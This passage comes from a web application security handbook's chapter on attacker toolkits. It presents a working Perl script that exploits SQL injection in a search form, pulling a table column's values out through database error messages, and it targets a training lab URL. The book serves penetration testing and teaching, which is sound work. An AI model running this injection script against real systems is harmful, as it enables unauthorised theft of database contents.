the-web-application-hackers-handbook

Chapter 20 n A Web Application Hacker’s Toolkit 787
suites described earlier. For example, you can use the Burp Extender interface
to extend Burp Suite or the BeanShell interface to extend WebScarab.
Scripting languages such as Perl contain libraries to help make HTTP communication
straightforward, and you often can carry out customized tasks using
only a few lines of code. Even if you have limited programming experience, you
often can find a script on the Internet that you can tweak to meet your requirements.
The following example shows a simple Perl script that exploits a SQL
injection vulnerability in a search form to make recursive queries and retrieve
all the values in a specified table column. It starts with the highest value and
iterates downward (see Chapter 9 for more details on this kind of attack):
use HTTP::Request::Common;
use LWP::UserAgent;
$ua = LWP::UserAgent->new();
my $col = @ARGV[1];
my $from_stmt = @ARGV[3];
if ($#ARGV!=3) {
print “usage: perl sql.pl SELECT column FROM table\n”;
exit;
}
while(1)
{
$payload = “foo’ or (1 in (select max($col) from $from_stmt
$test))--”;
my $req = POST “http://mdsec.net/addressbook/32/Default.aspx”,
[__VIEWSTATE => ‘’, Name => $payload, Email => ‘john@test.
com’, Phone =>
‘12345’, Search => ‘Search’, Address => ‘1 High Street’, Age =>
‘30’,];
my $resp = $ua->request($req);
my $content = $resp->as_string;
#print $content;
if ($content =~ /nvarchar value ‘(.*)’/)
{
print “$1\n”; # print the extracted match
}
else
{exit;}
$test = “where $col < ‘$1’”;
}